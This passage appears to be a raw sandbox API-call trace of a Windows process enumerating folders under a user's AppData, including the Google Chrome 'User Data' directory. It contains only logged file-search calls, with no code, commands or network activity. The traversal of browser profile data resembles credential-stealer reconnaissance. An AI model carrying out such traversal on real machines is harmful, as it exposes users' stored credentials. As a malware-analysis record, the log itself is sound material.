ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.jfm", cAlternateFileName="")) returned 1 [0179.079] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46f4d81c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46f4d81c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xe8d49d4d, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0xd80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0179.079] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ea1382, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8fd2599, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp.edb", cAlternateFileName="")) returned 1 [0179.080] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c293b35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c293b35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jcp", cAlternateFileName="")) returned 1 [0179.080] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jtx", cAlternateFileName="")) returned 1 [0179.080] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0179.080] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0179.080] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 1 [0179.081] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 0 [0179.081] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", lpFilePart=0x0) returned 0x36 [0179.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", lpFilePart=0x0) returned 0x36 [0179.081] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.082] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.082] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 1 [0179.082] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.082] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0179.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0179.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0179.082] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", lpFilePart=0x0) returned 0x36 [0179.082] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.082] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.083] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 1 [0179.083] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 0 [0179.083] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0179.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0179.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x24 [0179.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x24 [0179.083] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.084] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.084] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0179.084] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0179.084] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0179.084] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0179.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0179.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0179.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x24 [0179.084] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.085] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.085] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0179.085] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0179.085] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.085] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0179.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0179.085] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x2b [0179.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.085] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x2b [0179.085] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.086] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.086] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0179.086] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0179.086] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.086] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x2b [0179.087] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.087] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.087] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0179.087] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.087] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.087] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0179.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.087] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0179.088] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.088] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.089] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52059d83, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x52059d83, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x52059d83, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x4578, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificate Revocation Lists", cAlternateFileName="CERTIF~2")) returned 1 [0179.090] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, 